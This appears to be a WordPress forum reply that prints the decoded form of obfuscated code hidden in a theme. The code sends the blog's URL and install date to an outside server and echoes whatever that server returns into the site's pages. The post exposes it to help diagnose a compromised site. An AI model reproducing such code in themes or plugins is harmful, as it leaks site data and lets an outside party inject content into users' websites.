thanks apljdi!
@zucchini21 – If you’re installation has been ‘hacked’ then it’s proably a good idea to change themes. If that fixes the problems then try re-downloading and re-installing the theme.
this is the function once it has been double-decoded:
function start_template() {
global $reftime;
$updated = get_option("credit_date2");
if ((time() - $updated) > (24 * 3600 * $reftime)) {
$credit_text2 = file_get_contents("https://www.wordpresstemplates.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));
update_option("credit_text2",$credit_text2);
update_option("credit_date2",time());
} else {
$credit_text2 = get_option("credit_text2");
}
echo $credit_text2;
}
if(get_option("template_install_date") == "")
{
add_option("template_install_date", time());
}